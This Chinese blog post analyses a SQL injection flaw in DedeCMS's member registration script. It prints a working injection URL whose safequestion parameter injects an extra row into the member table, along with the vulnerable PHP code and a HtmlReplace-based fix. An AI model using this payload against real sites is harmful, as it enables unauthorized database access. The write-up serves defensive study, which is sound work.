dedecms /member/reg_new.php SQL Injection Vul
catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
Dedecms会员中心注入漏洞
2. 漏洞触发条件
http://127.0.0.1/dedecms5.5/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree= //把vdcode=slum改成当前的验证码
Relevant Link:
http://0day5.com/archives/1315 http://www.odaysec.com/post/1cb671b0_2709bbf
3. 漏洞影响范围
4. 漏洞代码分析
/member/reg_new.php
.. $jointime = time(); $logintime = time(); $joinip = GetIP(); $loginip = GetIP(); $pwd = md5($userpwd); $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); //未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询 $inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) ..
5. 防御方法
/member/reg_new.php
.. $jointime = time(); $logintime = time(); $joinip = GetIP(); $loginip = GetIP(); $pwd = md5($userpwd); /* 对$mtype、$safeanswer、$safequestion进行有效过滤 */ $mtype = HtmlReplace($mtype,1); $safeanswer = HtmlReplace($safeanswer); $safequestion = HtmlReplace($safequestion); /* */ $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); $inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) { ..
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
2014-05-21 openSSL命令、PKI、CA、SSL证书原理